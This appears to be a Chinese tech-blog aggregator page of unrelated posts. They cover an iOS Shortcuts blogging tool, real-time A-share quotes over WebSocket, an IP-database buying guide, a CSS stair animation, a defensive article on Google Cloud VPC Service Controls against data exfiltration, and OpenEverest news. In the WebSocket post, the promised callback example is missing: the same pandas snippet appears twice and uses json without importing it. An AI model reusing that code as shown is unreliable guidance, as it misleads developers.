包含关键字 typecho 的文章

从这里开始使用: https://docs.moire.blog/

原理就是非常简单的 Shortcuts 和 GitHub Pages ,但是 Apple 官方在 Shortcuts 里 Make Markdown from richtext 对 Notes 的支持非常简陋(即使明明 iOS 26 官方对 Notes 支持了 export as markdown 这种功能)

很多格式都没有转过来,所以我通过 richtext to html to markdown 这样的流程硬生生匹配类名来转换...(真的很累... 只能上传一张图片,是 feature, 只支持了传一张图

需要能够直接访问 api.github.com ,不过 cloudflare 大善人支持 worker 来转发请求,所以如果你自己有域名的话,所以不用随时随地翻墙也可以通过代理来实现同步了

Shortcuts 的版本管理很麻烦,只能通过 icloud 链接来分享,还处于探索的过程之中。不过幸好这个玩意不需要更新得很频繁~

欢迎使用,也欢迎分享给身边不懂技术的朋友使用,配置流程很简单应该都能轻松上手。有什么建议或遇到什么问题都可以留言!

在开发金融类应用时,最棘手的部分往往不是复杂的算法,而是如何稳定、高效地处理实时数据流。作为一名在一线编写交易系统的开发者,今天想和大家聊聊 A 股实时行情的接入方案。

需求分析:为什么不用 HTTP? HTTP 协议是无状态的,每次请求都需要带上完整的 Header,且需要经历三次握手。在需要亚秒级响应的行情监控场景下,这种开销是不可接受的。我们需要的是一种 Keep-Alive 的长连接机制,WebSocket 无疑是最佳选择。

协议层实现逻辑 我们的目标是构建一个能够长期运行、自动重连的客户端。

Transport 层:使用 websocket-client 库维护底层 TCP 连接。

Protocol 层:解析特定的 JSON 协议包。以 AllTick 的协议为例,其数据包结构紧凑,适合高频传输。

Application 层:将解析后的数据分发给策略引擎或 UI 界面。

代码实战:异步回调设计 以下代码展示了如何利用回调函数(Callback)模式来处理异步推送的数据流。这种设计模式可以避免主线程阻塞。

import pandas as pd

df = pd.DataFrame(columns=["code", "price", "volume", "time"])

def on_message(ws, message):
    data = json.loads(message)
    if "data" in data:
        for item in data["data"]:
            df.loc[len(df)] = [item['s'], item['p'], item['v'], item['t']]
            print(df.tail(1))

数据持久化与缓存 在高并发场景下,直接写库(如 MySQL)可能会成为瓶颈。通常我们会先用 Pandas 在内存中做一层缓存(Buffer),或者推送到 Redis 队列中。这里展示一个简单的 Pandas 内存处理方案:

import pandas as pd

df = pd.DataFrame(columns=["code", "price", "volume", "time"])

def on_message(ws, message):
    data = json.loads(message)
    if "data" in data:
        for item in data["data"]:
            df.loc[len(df)] = [item['s'], item['p'], item['v'], item['t']]
            print(df.tail(1))

技术总结 通过 WebSocket,我们实现了一个低延迟的行情消费端。这种架构不仅适用于股票,同样适用于期货、数字货币等任何对时效性要求极高的金融衍生品交易场景。

一、什么是IP离线库?

IP离线库是企业将IP地址信息存储在本地数据库中的一种方式。与在线IP查询不同,离线库的IP数据不依赖于实时互联网连接,而是由企业根据需求定期下载更新。这使得企业可以在没有互联网连接的环境下进行IP地址查询,且查询速度较快,适用于数据量大、查询频繁的场景。

IP离线库通常包含的内容包括:IP归属地、ISP信息、IP类型、使用代理情况、风险等级等。它为企业提供了多维度的IP信息,尤其适用于需要进行精准营销、风险管理、网络安全监控等任务的企业。

二、IP离线库在企业中的应用场景

网络安全防护

在企业的网络安全体系中,IP离线库发挥着不可或缺的作用。通过实时监控和查询IP地址的归属地、类型及使用情况,企业可以有效识别潜在的安全威胁,及时阻止来自恶意IP地址的攻击。例如,通过查找是否有大量来自同一IP的登录尝试,企业可以发现潜在的暴力破解行为,从而采取必要的防范措施。

精准营销与广告投放

在广告投放与精准营销方面,IP离线库也能提供帮助。企业通过分析用户的IP地址,判断其地理位置、设备类型等信息,从而制定更具针对性的营销策略。借助IP离线库,企业可以实现更精确的广告定向投放,提高营销效果。

反欺诈与风险评估

通过查询IP地址的历史使用记录和风险评分,企业可以在进行用户身份认证时有效防止欺诈行为。例如,银行、电商平台等常常利用IP离线库查询客户IP地址,识别是否存在风险行为(如使用VPN或代理的可疑IP)。这种技术有助于降低欺诈风险,提升企业的安全性。
企业用IP离线库选哪个品牌好

三、选择IP离线库时需要考虑的关键因素

数据准确性

数据准确性是选择IP离线库时最重要的因素之一。IP离线库中的数据必须保持高质量和准确性,才能确保企业在进行IP查询时得到可靠的结果。企业应选择那些提供多维度、详细数据来源的品牌,以确保查询结果的准确性。

更新频率

由于IP地址的动态变化,IP离线库的更新频率也是至关重要的。企业应选择那些定期更新数据源的IP离线库品牌,以确保所查询的数据是最新的。这对于防止IP库信息过时、失效至关重要,尤其是在防止网络攻击和诈骗方面。

区域覆盖

对于需要全球范围内查询IP的企业,IP离线库的区域覆盖广度是一个不容忽视的因素。选择支持全球范围的IP库,可以帮助企业全面了解不同区域的IP地址信息,满足跨国业务运营的需求。

查询速度

企业的查询效率对日常运营的影响也非常大。在数据量大的情况下,查询速度尤为重要。因此,选择响应快速、查询高效的IP离线库品牌,可以显著提升企业的工作效率,避免因查询延迟而影响决策。

兼容性与扩展性

企业的需求可能随着业务的扩大而发生变化。因此,选择一个具备良好兼容性和扩展性的IP离线库品牌至关重要。品牌应提供丰富的API接口、支持多平台集成,以便企业根据自身需求进行定制和拓展。

四、推荐的IP离线库品牌及其优缺点

以下是目前市场上几款知名的IP离线库品牌,适用于不同企业需求的选择。

品牌名优势缺点
IP数据云提供全面的全球IP数据,更新频率高,支持API接口,查询速度快高级功能需付费,部分高精度数据需额外购买
IPnews提供精确的IP地理位置和代理检测,适用于跨国企业数据精度有限,官网套餐仅到城市级
IPinfo数据准确性高,支持丰富的API接口,适合开发者使用部分高级功能价格较高,适合较为复杂的业务场景
Geotargetly提供精准的地域定向能力,特别适合精准营销只支持部分地区的详细数据,可能不适合跨国运营的企业
ipstack提供高效的API接口和多语言支持,数据丰富数据更新频率较低,且支持的地域覆盖较少

*数据来源网络,以官网为准

因此,在选择IP离线库品牌时,企业应根据自身需求,如查询速度、数据准确性、区域覆盖等方面,进行综合考虑。IP数据云凭借其数据更新频率高、全球范围覆盖、查询速度快,成为许多企业的首选。而对于跨国业务,IPnews和IPinfo提供的精确数据和全面支持也值得关注。

五、结论

选择适合企业需求的IP离线库品牌是一个需要综合考虑多方面因素的过程。通过深入了解IP离线库的应用场景、选购标准和市场上的主流品牌,企业可以做出更加理性和精准的决策,为网络安全、精准营销等任务提供有力支持。无论是提升网络防护能力,还是加强风险管理,选择一个高效且可靠的IP离线库品牌,都是企业顺利发展的关键一步。

一年来 v 站发一次,群内讨论各种摸鱼内容,包括但不限于

  • 硬件装机
  • 摄影以及后期
  • 数码 3c
  • 旅游(各地都能找到靠谱群友指路)
  • 游戏(steam 上的 pc 游戏、主机游戏等)
  • RSS 类消息聚合
  • 养生话题(喝水提醒等)
  • 情感问题
  • 做饭

推广节点也发一个,欢迎 v 友加入 ⬇️
群分享

自建机房:像个 “吞金兽” !买地、盖楼、买机器,前期投入巨大,简直就是现金流杀手!CAPEX拉满!

数据中心:“轻盈租客” 模式。按月付、年付租金(机柜费+电费),化整为零,轻资产运营。

自建机房:“自力更生”。停电?自己修。空调坏了?自己修。网络断了?还是自己扛!稳定性全靠自家IT团队的水平,心跳指数略高。

数据中心:“躺平享受”。7x24小时专业团队保驾护航!双路市电+超大UPS+柴油发电机,空调也是N+1冗余!安全感爆棚,SLA高达99.99%以上!

自建机房:“计划跟不上变化”。建的时候觉得够用10年,结果业务爆火,一年就塞满了…扩容?再来一轮漫长的建设和采购吧!

数据中心:“可盐可甜”。业务增长快?马上加租几个机柜!业务调整?到期不续租就行。弹性十足,像云服务一样方便!

自建机房:保安大叔+门禁卡,水平看公司预算。想做金融级合规?难上加难!

数据中心:“堡垒级防护”!人脸识别、瞳孔扫描、7x24监控、防尾随门禁…还有一堆像ISO27001这种国际认证,合规性直接拉满!

选自建:适合有钞能力、业务极其稳定、且对数据物理控制权有极致要求的大佬公司。

选数据中心:适合绝大多数企业!省钱、省心、省力,能把资源更集中在核心业务上,是数字化转型的明智之举。

亲们好,最近捣鼓 CSS 动画的时候,发现了一个超有意思的小效果 —— 无限楼梯动画。不用一行 JavaScript,只靠 CSS 的 @keyframes 和自定义属性,就能做出视觉上无限延伸的楼梯效果,既简单又治愈。

这个效果的核心其实是利用 CSS 动画的位移和视觉欺骗,配合自定义属性来批量生成楼梯的层级,整体实现起来不难,新手也能跟着做。做好之后放在页面里,不管是当小彩蛋还是练手,都超合适。下面就把完整的代码和详细注释分享出来。

完整源码(附详细注释)

HTML 部分

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <!-- 适配移动端,保证动画在手机端正常展示 -->
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>无限楼梯CSS动画效果</title>
    <!-- 引入外部样式文件,分离结构与样式 -->
    <link rel="stylesheet" href="./style.css">
</head>
<body>
    <!-- 外层窗口容器:限定动画展示范围,模拟可视化窗口 -->
    <div class="window">
        <!-- 楼梯容器:承载所有楼梯层级,是动画的核心载体 -->
        <div class="stair">
            <!-- 10个span分别对应一级楼梯,通过自定义属性--i区分层级 -->
            <span style="--i: 1;"></span>
            <span style="--i: 2;"></span>
            <span style="--i: 3;"></span>
            <span style="--i: 4;"></span>
            <span style="--i: 5;"></span>
            <span style="--i: 6;"></span>
            <span style="--i: 7"></span>
            <span style="--i: 8;"></span>
            <span style="--i: 9;"></span>
            <span style="--i: 10;"></span>
        </div>
    </div>
</body>
</html>

CSS 部分

/* 全局样式重置:清除浏览器默认边距/内边距,统一盒模型 */
*{
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

/* 页面主体样式:让窗口居中展示,设置背景色营造整体视觉氛围 */
body {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh; /* 让body铺满整个视口高度 */
  background: #114b64; /* 主色调,与楼梯颜色呼应 */
}

/* 窗口容器:模拟圆润的展示窗口,限定动画可视范围 */
.window {
  position: relative; /* 为内部绝对定位的元素提供参考 */
  width: 340px;
  height: 480px;
  background: #fff; /* 窗口背景为白色,突出楼梯主体 */
  border-radius: 170px; /* 大圆角营造圆润的窗口质感 */
  border: 4px solid #114b64; /* 外边框与主色调一致,增加层次感 */
  box-shadow: 0 0 0 12px #fff; /* 外层白色阴影,强化窗口轮廓 */
  overflow: hidden; /* 隐藏超出窗口的内容,实现视觉截断,打造无限感 */
}

/* 窗口装饰红点:模拟指示灯,增加动画生动感 */
.window::before{
  content:""; /* 伪元素必须设置content属性 */
  position: absolute;
  top: 190px;
  left: calc(50% + 45px); /* 精准定位,居中偏右 */
  width: 30px;
  height: 30px;
  border-radius: 50%; /* 设置为圆形 */
  background: #f44336; /* 红色醒目,提升视觉亮点 */
  /* 红点弹跳动画:ease-in-out让弹跳更自然,infinite循环播放 */
  animation: bounce 1s ease-in-out infinite;
}

/* 定义红点的弹跳动画关键帧 */
@keyframes bounce{
  0%,100%{ /* 动画起始/结束状态:轻微上移 */
    transform: translateY(-1px);
  }
  50%{ /* 动画中间状态:向下弹跳,形成起伏效果 */
    transform: translateY(-40px);
  }
}

/* 楼梯容器:承载所有楼梯层级,负责整体位移动画 */
.window .stair {
  position: absolute;
  width: 100%;
  right: calc(-100% + 0px); /* 初始位置偏右,为位移动画预留空间 */
  top: 100px; /* 垂直定位,让楼梯从窗口上方开始展示 */
  /* 楼梯整体位移动画:linear匀速播放,infinite循环实现“无限”效果 */
  animation: stairs 1s linear infinite;
}

/* 定义楼梯容器的位移动画:核心的无限楼梯视觉效果 */
@keyframes stairs {
  0% { /* 动画起始状态:无位移 */
    transform:  translateX(0) translateY(0);
  }
  100% { /* 动画结束状态:向右+向上位移,模拟楼梯向上延伸 */
    transform: translateX(40px) translateY(-40px);
  }
}

/* 单个楼梯层级样式:通过自定义属性--i控制位置,形成阶梯排列 */
.window .stair span {
  position: absolute;
  /* 垂直位置:每个楼梯层级间隔40px,--i为1~10,实现垂直分层 */
  top: calc(var(--i ) * 40px);
  /* 水平位置:与垂直方向对应,形成斜向楼梯的视觉效果 */
  right: calc(var(--i ) * 40px);
  width: 100%;
  min-height: 40px; /* 楼梯的高度,保证层级明显 */
  background: #114b64; /* 楼梯颜色与主色调一致,视觉统一 */
  border-bottom: 4px solid #fff; /* 白色底边,区分每个楼梯层级 */
  border-top-left-radius: 6px; /* 左上角圆角,让楼梯边角更柔和 */
}

是不是超简单?整个效果的关键就在于.stair的位移动画,配合每个 span 通过--i自定义属性的位置计算,再加上overflow: hidden的视觉截断,就营造出了 “无限楼梯” 的效果。

大家可以试着修改一下颜色、动画时长或者楼梯的高度,看看能调出什么不一样的效果~如果有其他好玩的 CSS 小动画想法,也欢迎在评论区聊聊。

本文由mdnice多平台发布

云环境中数据窃取方面的挑战

云计算革命彻底改变了应用程序的开发与部署方式。然而,传统的网络安全模式(即“城堡与护城河”方式)在云原生架构中就显得力不从心了。在云环境中,资源是分布式的、短暂的,并且可以从任何地方进行访问。

 

对于迁移到公有云的企业来说,通过内部威胁、凭据盗取和服务配置错误所导致的数据窃取已成为一个重要的问题。行业报告显示,涉及云配置错误的数据泄露事件,每次给组织造成的平均损失为 445 万美元。在金融服务、医疗保健和受监管的行业,客户数据保护不仅仅是安全问题,更是合规性和法律的强制要求。

 

虽然本文主要关注 Google Cloud Platform 的 VPC Service Controls (VPC-SC),但其原则、挑战和最佳实践广泛适用于各大云服务商。

 

AWS 通过 VPC Endpoints 和 Service Control Policies 提供了类似的功能,而 Azure 则提供了 Service Endpoints 和 Private Link。虽然实现细节不同,但防止数据窃取的战略方法(全面发现、分阶段推出、组织协调和分层安全)是超越任何特定平台而共通的。

 

在 Google Cloud Platform 中,VPC-SC在敏感云资源周围创建安全边界,防止未经授权的数据窃取,同时保持云的敏捷性和可扩展性。然而,在企业规模上实施 VPC-SC(跨越数百个项目、多个区域和多样化的应用程序)需要战略级的规划、组织协调,并且要对安全需求和操作限制有着深刻的理解。

 

本文分享了在大型金融科技组织的 Google Cloud Platform (GCP)环境中实施 VPC-SC 的经验教训,以保护支付处理工作负载、客户数据分析和多区域部署。

 

本文不会提供分步骤的配置指南,而是分享战略决策、组织挑战和来之不易的经验教训,这些因素决定了安全实施是否能够成功。

深入理解 VPC Service Controls:超越基础的周边安全性

VPC Service Controls 会在 GCP 服务周围创建安全边界,强制执行基于资源位置、身份和网络来源的上下文感知访问策略。与在网络层操作的 VPC 防火墙不同,VPC-SC 在服务 API 层进行操作,无论网络路径如何,都能控制对 Google Cloud Storage、BigQuery、Vertex AI 和 Compute Engine 的访问。

 

它的三大核心构建块包括:

  • 服务边界 (Service Perimeters):在受保护的 GCP 项目和资源周围定义逻辑边界。边界内的资源可以自由通信,来自外部的访问则需要通过访问级别或入站/出站策略进行明确授权。

  • 访问级别 (Access Levels):基于 IP 地址、设备状态、用户身份或地理位置定义访问边界内资源的条件,从而能够超越简单的允许/拒绝规则,实现上下文感知的安全性。

  • 入站和出站策略 (Ingress and Egress Policies):指定哪些身份可以访问边界内的资源,以及边界内可以访问哪些外部资源。

 

有一个常见的误解,那就是 VPC-SC 并不会取代网络安全,而是它的补充。实际上,如果 VPC-SC 配置得当,即使攻击者攻陷了 VPC 网络内的虚拟机,也无法将数据窃取到外部云存储桶中,无论网络连接情况如何,API 调用都会被阻止。

 

另一个关键区别是,VPC-SC 保护的是受支持的 GCP 服务,而不是任意的网络流量。Google Cloud Storage、BigQuery、Compute Engine、Vertex AI、BigTable、GKE 等都能得到保护,但 VPC-SC 并不控制虚拟机的出站互联网流量,也不检查应用程序协议。与虚拟防火墙和 Cloud Armor 的集成对于全面安全性仍然至关重要。

架构图

设计 VPC-SC 架构:重要的战略决策

规划期间所做的关键设计决策决定了实施的成功或失败。

从数据分类开始

并不是所有的数据都需要相同的保护。根据敏感性对数据进行分类,例如需要符合 PCI-DSS 的支付卡数据、受 GDPR(General Data Protection Regulation)或 CCPA(California Consumer Privacy Act)约束的个人身份信息 (personally identifiable information,PII)、机密业务数据和非敏感运营数据。这种分类会驱动边界的规划。高敏感的数据需要严格控制边界,允许的例外情况最少,而较低敏感的数据则允许更宽松的策略。

 

建议分为三个边界层级:高安全性,用于支付处理,无出站策略;中安全性,用于客户分析,对出站访问受控的服务进行限制; 低安全性,用于开发/测试,策略较为宽松。这种方法在安全严谨性和运营灵活性之间取得了平衡。

彻底映射依赖关系

依赖关系映射不完整是 VPC-SC 实施失败的头号原因。现代云应用程序依赖于共享服务、跨项目通信、CI/CD 流水线、监控工具和第三方集成。在执行之前,必须记录每一个依赖关系。

 

我们建议使用 Cloud Asset Inventory 进行资源发现,并分析 Cloud Logging 以获取服务到服务之间的通信模式。同时,采访应用程序团队以了解日志中看不到的外部依赖关系。对于大型组织,建议为发现阶段预留四到六周的时间,过于匆忙容易引发生产事故。

 

服务账户是隐藏的依赖噩梦:在多个项目中共享的某个服务账户会引发意想不到的跨边界依赖关系。在为我所在的组织实施 VPC-SC 期间,我发现了散布在遗留系统、批处理作业和第三方集成中的数十个未记录的服务账户。其中许多可以追溯到多年以前,而维护它们的团队早已离职。每次发现都需要进行仔细评估,以确定该账号的使用是代表合法的业务需求,还是需要补救的安全漏洞。这一经验强化了服务账户发现必须与资源发现需要一样严格的观点,忽略某几个身份标识可能会破坏你的整个边界策略。

边界拓扑:一个大边界还是多个小边界?

应该创建一个大的边界,还是按应用程序、业务部门或数据分类组织的多个较小的边界呢?答案取决于具体的组织结构和安全要求。

 

多个边界会提供更强的隔离性,某个边界的违规不会危及其他边界。然而,它们增加了复杂性,因为跨边界通信需要显式策略或边界桥接。我发现混合方法效果最好:按安全层级(高/中/低)组织的广泛边界,以及用于共享服务(如集中日志记录、监控和 CI/CD)或多个边界之间入站/出站策略的边界桥接。

 

对于多区域部署,要避免为每个区域创建单独的边界。区域边界会带来不必要的复杂性,而不会增加额外的安全价值。VPC-SC 策略是全局应用的。建议将所有区域资源包含在单个逻辑边界内,并在需要时使用 IAM 策略或访问级别进行特定于区域的访问控制。

实施:从设计到生产的三个阶段

第一阶段:发现与基线(四到六周)

发现工作不仅仅涉及技术资产盘点,还需要理解团队的工作方式、应用程序的通信模式以及安全漏洞的位置。为此,我组建了一个跨职能的工作组,成员包括安全工程师、基础设施团队、应用程序开发人员和业务利益相关者,我们每周开会,以审查发现结果、解决依赖性问题,并就边界范围达成共识。

 

技术发现会利用多个来源:Google 的 Cloud Asset Inventory 用于资源发现,Cloud Logging 用于 API 模式,并且要采用团队访谈的方式来获取 GCP 日志无法捕获的上下文。我创建了可视化工具来映射服务的依赖关系,使得识别应该在边界内分组的资源集群变得更容易。

第二阶段:演练模式实施(至少六到八周)

VPC-SC 的演练模式(Dry-run Mode)使安全实施成为可能。在演练模式下,会评估边界策略,违规行为会被记录,但 API 调用不会被阻止。这种方法允许我们在生产环境中测试边界配置,而不会产生服务中断的风险。我的建议是,将初始的边界配置以演练模式部署至少 30 天。

 

每日分析违规日志,按服务、方法和主体对违规行为进行分组,以识别模式。特定服务账户产生的大量违规可能表明存在未被发现的合法用例,或者需要限制权限过高的凭证。

 

区分违规的性质:并非所有违规都是同等重要的。例如,被 VPC-SC 阻止的 BigQuery 读取操作可能会破坏关键的分析仪表板;而服务向外部存储桶写入数据的行为,可能正是我们要防止的数据窃取。建立违规分类(比如,需要调整策略的合法用例、可接受的已记录风险、需要补救的安全漏洞),并通过这个框架处理每一个违规行为。

 

建立自动化仪表盘,显示违规趋势。违规数量的下降表明针对合法用例的政策调整取得了成功,而稳定或增加的违规行为则表明持续有依赖关系被发现,或者团队正在寻找绕过(尚未强制执行)控制措施的解决方法。

第三阶段:强制执行与运维管理

强制执行的决策应该以数据为驱动:违规行为应该被分类和批准,测试并记录回滚程序,并获得受影响团队的利益相关者签字。强制执行是逐步进行的:首先是开发环境,然后是预发布环境,最后是生产环境。每个环境强制执行两周,然后再进入下一个环境,以确保意外问题会首先在风险较低的环境中出现。

 

强制执行后,应该建立明确的例外请求流程:开发人员会遇到被边界策略阻止的合法场景。例外流程必须在安全性(不能授予破坏控制措施的全面例外权限)与敏捷(避免创建官僚式的冗长申请机制)之间取得平衡。在我的项目中,我创建了分层的例外机制:临时(72 小时,由安全团队批准)、永久(需要安全架构审查)和书面申请。

现实世界中的挑战与解决方案

BigQuery 分析中断事件

在强制执行数据分析边界三周后,我们的商业智能仪表板停止了更新。调查发现,边界外的服务账户正在访问 BigQuery 数据集。这个依赖关系在演练测试中被遗漏了,因为相关的批处理作业每月才运行一次。

 

我们的紧急修复是创建一个临时的出站策略,允许特定的 BigQuery 进行操作,而长期解决方案则涉及重构批处理作业以使用边界内的服务账户,并更新依赖关系的文档。这一样例再次向我们重申,演练周期必须跨越完整的业务周期,并且自动化的依赖关系发现应该补充而不是替代人类的知识。

平衡安全性与开发人员的生产力

最大的挑战并非技术层面,而是在组织层面。起初,开发人员将 VPC-SC 视为阻碍工作且无明显收益的障碍。一些人甚至试图通过在服务前使用Private Service Connect (PSC) 来绕过边界。

 

解决方案需要改变我对安全性的沟通方式。我不再将 VPC-SC 呈现为一种限制,而是将其框架化为一种工具,保护他们的应用程序免受数据泄露,保护公司免受监管处罚,并保护他们的团队免受与安全事件相关联的风险。我的团队在自助工具上投入了大量资源,建立了一个网络门户,开发人员可以在其中检查服务账户访问权限、请求具有明确承诺的例外,并查看政策违规的解释和建议的补救措施。

 

当开发人员看到安全团队迅速响应合法需求,同时在不必要的例外方面保持坚定的边界时,他们的情绪也从抵制转变为接受。

传统应用重构

针对本地环境设计的遗留应用程序通常会假定对存储和数据库都能够无限制地进行访问。一个从本地迁移过来的支付处理应用程序,几乎没有做任何更改,就试图将日志写入另一个 GCP 组织中的云存储桶,这在本地环境中是合理的模式,但在云安全边界中却是违规的。

 

我们并没有为这个应用程序创建一个例外来允许跨组织的数据传输,而是与应用程序团队合作重构了日志记录。现在,日志写入边界内的一个桶中,并且一个授权的导出过程将经过清理的日志移动到另一个组织中的桶中进行合规归档。这种重构花了六周时间,但提高了安全态势并减少了运营复杂性。

 

当 VPC-SC 阻止操作时,首先问一下自己,“这应该是被允许吗?”而不是问,“我们该如何允许它?”有时候被阻止的操作代表了需要补救的技术债务,而不是需要适应的现状。

将 VPC-SC 融入更广泛的云安全架构中

采用 VPC Service Controls 是全面云安全架构的一部分,而非独立的解决方案。

分层的防御模型

将云安全视为一个同心层,需要在不同的层次提供保护。VPC-SC 在服务 API 层运行,控制对 GCP 服务的访问。虚拟防火墙(例如 Palo Alto Networks VM-Series)在网络层运行,控制 IP 流量并检查应用程序协议。Cloud Armor 在应用程序层提供分布式拒绝服务(DDoS)保护和 Web 应用程序防火墙(WAF)功能。身份和访问管理(IAM)在资源级别控制基于身份的访问。

 

每个层次都会捕捉不同的威胁向量。攻击者攻陷虚拟机后,即使他们已经绕过了网络级防火墙规则,可能也会被 VPC-SC 阻止通过云存储 API 进行数据窃取。DDoS 攻击可能会在压垮虚拟防火墙之前被 Cloud Armor 缓解。即使攻击者已经进入了 VPC 网络和边界内,被盗凭据可能会被 IAM 的上下文感知访问策略检测到。

 

VPC-SC 为敏感资源定义了广泛的安全边界,虚拟防火墙提供了细粒度的网络流量控制和协议检查,Cloud Armor 保护面向互联网的应用程序,而 IAM 在边界内强制执行最小权限访问。单一的控制措施是不够的,安全性来自它们的相互作用。

监控与事件响应

VPC-SC 会为每次策略评估生成审计日志,从而为安全监控创建了丰富的数据。这些日志可以流式传输到 Splunk 等安全信息和事件管理(Security Information and Event Management,SIEM)平台进行分析和警报,或者使用原生 GCP 日志进行分析。关键的监控场景包括:

  • 策略违规异常激增表明可能存在攻击或配置错误。

  • 同一主体重复违规可能表明存在合法的访问问题或侦察行为。

  • 出站违规访问敏感数据或外部存储桶可能表明正在尝试进行数据窃取。

  • VPC-SC 配置的变更应该仅通过批准的基础设施即代码流程进行。

 

针对 VPC-SC 检测到的数据窃取尝试的事件响应剧本包括:立即调查源主体和目的地,如果确认攻击则暂时收紧边界政策,进行 Cloud Logging 的取证分析以确定访问的数据,进行事后审查以确定事件是由安全漏洞还是成功攻击引起的。

衡量是否成功:指标与 KPI

量化 VPC-SC 的影响需要定义业务、安全和运营指标。我们项目中的测量指标包括:

安全指标

  • 在前六个月内阻止了 847 次尝试进行数据窃取。

  • 通过逻辑隔离,PCI-DSS 审计范围减少了 40%。

  • 数据访问异常检测时间减少了 45%。

运维指标

  • 在稳定后,部署时间增加不到 5%。

  • 标准例外的平均处理时间为四小时。

  • 通过自动化,策略管理时间减少了 60%。

业务指标

  • 预计每年因为避免数据泄露减少了 450 万美元的损失

  • 每年合规成本节约 20 万美元

  • 实施成本为 80 万美元(12 名工程师耗时 6 个月)

  • 在 18 个月内实现了正投资回报率(ROI)

最佳实践与经验教训

服务发现永无止境,即便采用穷举式的发现方法,也要预期会有意料之外的依赖关系。将服务发现过程视为持续进行的行为,维护依赖关系待办事项列表,安排季度审查,并要求对所有新部署进行依赖关系文档编制。

 

演练时长至关重要,30 天的演练测试是最低要求,而不是目标。对于具有每月批处理作业、季度报告周期或季节性流量模式的应用程序,要延长演练时间以捕获完整的业务周期。一周的强制执行延迟与生产中断的成本相比是微不足道的。

 

例外流程决定了成败,你的例外流程决定了 VPC-SC 是增强还是阻碍。明确的时间承诺、透明的批准标准和自助式请求提交,能够使开发人员将安全视为合作伙伴而非障碍。

 

全面自动化,手工化的策略管理难以为继。对于所有的 VPC-SC 配置均应使用基础设施即代码(例如 Terraform),或者构建一个自助工具,可以使用 Cloud Functions 添加策略。在生产部署之前实施自动化验证测试策略更改。自动化的预部署验证可以在生产之前捕获策略冲突。

 

沟通能够消除阻力,技术卓越并不意味着能够被采用。我在沟通和利益相关者管理方面花的时间和技术实施一样多。制定定期的办公时间解释为什么 VPC-SC 能够保护每个人,带有示例和故障排除指南的清晰文档,对被 VPC-SC 阻止的开发人员积极进行响应,将组织文化从抵制转变为支持。

未来改进的方向

VPC Service Controls 代表了当前 GCP 数据窃取预防的最佳实践,但威胁和技术仍在不断发展。

 

将 VPC-SC 与零信任原则对齐,明确验证的合规性,使用最小权限进行访问,并假定存在漏洞。未来的演进应该加强基于实时风险评分的动态访问级别,与身份威胁检测进行集成,在检测到可疑行为时及时撤销访问,以及基于威胁情报自动进行边界策略调整。

 

当前的 IaC 方式将安全策略视为静态配置。下一代的方法会将策略视为可测试、版本化的代码,并进行自动验证和部署。我们正在朝着策略测试、针对模拟攻击场景验证边界有效性、策略漂移检测(当部署的配置与批准的基线发生偏离时发出警报)以及策略影响分析(在部署之前预测对开发人员生产力的影响)的方向演进。

结论

在企业级规模上实施 VPC Service Controls 表明,成功的安全不仅仅是技术,更关乎人员、流程和组织文化。VPC-SC 在技术方面有着良好的口碑,并且相对简单。困难之处在于理解组织的独特需求,驾驭复杂的依赖关系,获得利益相关者的支持,并在实现业务敏捷性的同时保持安全严谨性。

 

核心原则超越了任何特定技术。安全的作用应该是促进而不是阻碍;严重损害生产力的控制措施需要规避。你应该设计避免不必要摩擦的安全防护,自动化可以进行大规模扩展,而手工过程难以做到这一点,因此要投资工具,使安全实践成为最简单的路径。

 

指标很重要。无法衡量就难以改进:跟踪安全和运营的影响。完美是完成的敌人,请现在就部署有效的安全控制,而不是等待永远不会实现的完美控制。采用持续改进的方式,而非试图毕其功于一役。安全不是目的地,而是一种不断适应和完善的持续实践。

 

VPC Service Controls 为 GCP 环境提供了强大的数据窃取预防机制,但其有效性取决于详尽的设计、分阶段实施、组织协调以及与更广泛安全架构的集成。愿意投资于全面规划、接受迭代改进,并在安全与可用性之间取得平衡的组织,将发现 VPC-SC 是云安全战略中非常有价值组成部分。

 

威胁环境将继续演变,防御措施必须相应地发展。最重要的不是任何单一的技术,而是建立组织能力来评估风险、实施适当的控制措施、衡量效果,并持续改进能力,以服务于采用任意云平台或安全技术的组织。

 

原文链接:

Preventing Data Exfiltration: A Practical Implementation of VPC Service Controls at Enterprise Scale in Google Cloud Platform

近日,Percona 宣布推出OpenEverest,这是一个支持多种数据库技术的开源平台,用于自动化数据库配置和管理。该平台最初发布时名为 Percona Everest,可以托管在任何 Kubernetes 基础设施上,既可以是云端也可以是本地。

 

该项目的主要目标是避免供应商锁定,同时提供自动化的私有 DBaaS。它基于 Kubernetes operator 构建,旨在避免依赖单一云供应商技术的复杂部署。OpenEverest 是模块化的,允许开发人员和数据库管理员组合不同的数据库、存储系统和部署方法以满足特定的需求。

作为一个插件系统,其核心功能支持 GKE Autopilot 和 Pod 调度策略等特性。OpenEverest 维护者、Solarica 创始人Sergey Pronin解释说:

 

目前,我们专注于数据库管理,但我们真正的愿景远不止于此。我们正在构建一个模块化的基础架构,让你可以无缝地集成更多的数据引擎,连接整个运维体系,从而应对更广泛的数据基础设施挑战。

 

该项目通过其 Web UI 和REST API简化了软件更新、监控、存储扩展和外部访问配置等运维任务。自定义资源 DatabaseCluster、DatabaseClusterBackup 和 DatabaseClusterRestore 定义了 OpenEverest 如何在 Kubernetes 中声明式地配置数据库集群以及管理它们的备份和恢复,使这些操作可以作为版本化的原生 Kubernetes 对象进行处理,并隐藏了特定于数据库运营商的大部分差异。

 

当 Percona 推出该项目的测试版时,社区反响褒贬不一。在 Hacker News 上,这引发了一场关于在 Kubernetes 上运行数据库集群是否是个好主意的辩论:一些人对使用 Kubernetes 运行数据工作负载持怀疑态度,其他人则强调托管备份、集群、扩展、升级、优化的好处,其中有位用户指出,“Kubernetes 不适合运行数据库”是一个非常过时的看法。

 

目前,该项目支持通过各数据库引擎专属的Percona operator部署和管理 MySQL、PostgreSQL 及 MongoDB 数据库集群。其功能涵盖数据库配置与扩展、备份及灾难恢复、基于角色的访问控制,以及在 Kubernetes 环境中灵活地分配资源。最新版本OpenEverest v1.11.0新增对 PostgreSQL 18.1 的支持,并通过 NodePort 支持实现了更灵活的网络配置。

 

